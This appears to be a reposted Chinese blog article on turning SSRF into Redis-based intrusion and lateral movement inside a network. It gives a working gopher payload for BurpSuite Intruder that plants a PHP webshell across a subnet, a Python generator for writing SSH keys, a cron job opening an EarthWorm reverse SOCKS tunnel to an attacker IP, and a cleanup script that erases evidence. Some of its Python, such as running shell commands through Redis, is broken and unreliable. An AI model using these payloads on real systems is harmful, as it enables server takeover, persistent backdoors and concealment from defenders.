当前位置: 首页 > news >正文

别再只测SSRF读文件了!用BurpSuite+Redis打造你的内网横向移动跳板

从SSRF到内网渗透:Redis协议在红队实战中的高阶应用

当大多数安全工程师还在用SSRF漏洞读取本地文件时,真正的红队选手已经将目光投向了更具战略价值的目标——通过Redis服务构建内网横向移动的跳板。本文将揭示如何将传统的SSRF漏洞利用升级为自动化内网渗透武器,重点分享BurpSuite与Redis协议的组合技实战经验。

1. Redis协议:被低估的内网渗透通道

Redis的未授权访问漏洞早已不是新鲜话题,但结合SSRF漏洞使用时,其危险性往往被严重低估。与简单的文件读取不同,通过Redis协议可以实现:

  • 系统级控制:当Redis以root权限运行时,可通过写入SSH公钥直接获取服务器权限
  • 持久化后门:利用Redis的持久化机制在Web目录写入webshell
  • 定时任务植入:通过crontab实现反弹shell的自动化维持
  • 内网代理节点:将沦陷的Redis服务器转化为SOCKS代理进行内网横向移动

关键协议对比

协议类型请求复杂度回显可见性攻击面广度
dict有限
gopher广泛
http中等

实战提示:gopher协议虽然构造复杂,但能完整模拟TCP交互,是攻击Redis的最强武器

2. 自动化攻击工具链构建

手工构造gopher payload效率低下,真正的红队行动需要自动化工具支持。以下是基于BurpSuite的实战工作流:

2.1 Intruder模块的深度配置

  1. 配置攻击模板:
GET /vuln.php?url=gopher://{内网IP}:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2410%0D%0A%0A%0A%3C?php%20system($_GET[cmd])%3B?%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A HTTP/1.1 Host: target.com
  1. 设置IP变量范围:
# 生成C段扫描IP列表 for i in range(1,255): print(f"192.168.1.{i}")
  1. 使用Pitchfork攻击类型,配合Null payloads处理固定参数

2.2 Python辅助脚本开发

自动化生成gopher payload的Python实现:

import urllib.parse def generate_redis_payload(command): protocol = "" for c in command.split('\n'): if not c: continue parts = c.split(' ') protocol += f"*{len(parts)}\r\n" for p in parts: protocol += f"${len(p)}\r\n{p}\r\n" return "gopher://127.0.0.1:6379/_" + urllib.parse.quote(protocol) # 示例:写入SSH公钥 cmd = """ flushall set margin "\n\nssh-rsa AAAAB3...== user@kali\n\n" config set dir /root/.ssh config set dbfilename authorized_keys save """ print(generate_redis_payload(cmd))

3. 内网横向移动的战术演进

获得Redis控制权只是开始,真正的价值在于如何将其转化为持久化据点:

3.1 建立SOCKS代理隧道

  1. 在沦陷服务器部署代理工具:
# 使用EarthWorm建立反向代理 ./ew -s rcsocks -l 1080 -e 8888
  1. 配置Redis定时任务维持代理:
crontab_payload = """ set x "\n\n* * * * * /tmp/.ew/ew -s rssocks -d 攻击IP -e 8888\n\n" config set dir /var/spool/cron config set dbfilename root save """

3.2 自动化信息收集框架

整合Redis命令与内网扫描:

import redis def redis_info_gathering(r): print("[+] Redis版本:", r.info()['redis_version']) print("[+] 配置信息:", r.config_get()) print("[+] 密钥列表:", r.keys('*')) # 自动识别Web目录 if 'WEB_ROOT' in r.info(): web_path = r.info()['WEB_ROOT'] else: web_path = '/var/www/html' return { 'users': r.command('cat /etc/passwd'), 'network': r.command('ifconfig'), 'web_path': web_path }

4. 防御对抗与痕迹清理

高水平的攻击必须包含反检测策略:

对抗检测的关键点

  • 使用Redis的SCRIPT FLUSH清除执行痕迹
  • 避免频繁的CONFIG SET操作触发告警
  • 将恶意命令拆分为多个合法命令混合执行
  • 利用Redis主从复制机制实现持久化

清理脚本示例

#!/bin/bash # 清除Redis攻击痕迹 redis-cli flushall redis-cli config set dir /tmp redis-cli config set dbfilename temp.rdb redis-cli save rm -f /var/spool/cron/root sed -i '/ew/d' /etc/crontab

在真实的红队评估中,我们曾通过这套方法在30分钟内横向移动跨越了5个网络区域。关键在于将每个Redis节点视为战略据点而非简单目标,通过自动化工具链实现攻击规模的指数级扩张。

http://www.jsqmd.com/news/824700/

相关文章:

  • 车载毫米波雷达超分辨DOA算法:从理论到工程落地的挑战与选型
  • 从零到一:uni push2.0全链路配置与实战推送指南
  • 告别‘丑’结构:用RDKit的ETKDG算法,5分钟搞定分子3D构象生成(附Python代码)
  • 从空调到手机充电器:拆解5个日常电器,看功率型NTC如何默默守护你的设备安全
  • AttentionEngine框架:模块化注意力机制的高效实现
  • Beyond Compare 5本地化激活终极指南:三步实现专业文件对比工具永久使用
  • Perplexity企业版真正杀手锏不是搜索——而是这4个未公开的Enterprise API扩展点(含内部文档截图级解析)
  • Kiboru开源平台:快速构建AI应用的模块化解决方案
  • 本地AI智能体框架Dragon-Brain:从原理到实战部署指南
  • 为什么明日方舟资源库是每个创作者必备的宝藏?3个真实案例告诉你答案
  • 当CRC32校验不再是黑盒:逆向、回滚与合并的数学魔法
  • Taotoken API密钥管理与访问控制功能使用体验
  • 从台球到机械臂:用Simscape Contact Forces Library玩转多体接触仿真
  • Taotoken API Key的精细化管理与审计日志功能实践
  • 告别混乱!用IDEA+Maven原型(archetype)一键生成标准JavaWeb项目结构
  • Spring Cloud Gateway中Duplicate CORS Header的排查与DedupeResponseHeader过滤器实战
  • ARM Profiler与RTSM实时系统模型性能优化实战
  • 开发者实战进阶:从赏金任务到技能树的系统性能力提升
  • 3、Java实战HDFS:从环境搭建到核心文件操作API全解析
  • STM32F103 USART2串口DMA接收不定长数据与中断发送的实战配置与性能优化
  • 从ERROR 1062到MySQL主键约束:一次“Duplicate entry”的深度排查与修复实战
  • 2026届最火的十大降AI率方案横评
  • 告别XDMA限制:用开源Riffa框架在Linux下轻松实现多通道PCIE DMA通信(Kintex-7实测)
  • 基于MCP协议构建DeFi智能体:降低链上操作门槛的实践指南
  • Windows-build-tools终极指南:一键安装C++构建工具和Python的完整解决方案
  • 初次使用Taotoken从注册到发出第一个请求的全流程记录
  • DeepSeek MATH实测得分暴跌37%?揭秘模型在组合数学与形式化证明中的3个致命盲区
  • Kubuntu 22.04 LTS 新手指南:从零到一,在VMware中轻松部署你的KDE桌面
  • Java架构面试参考指南全网首次公开!
  • Heat静态站点生成器:极简Python工具构建个人博客与文档站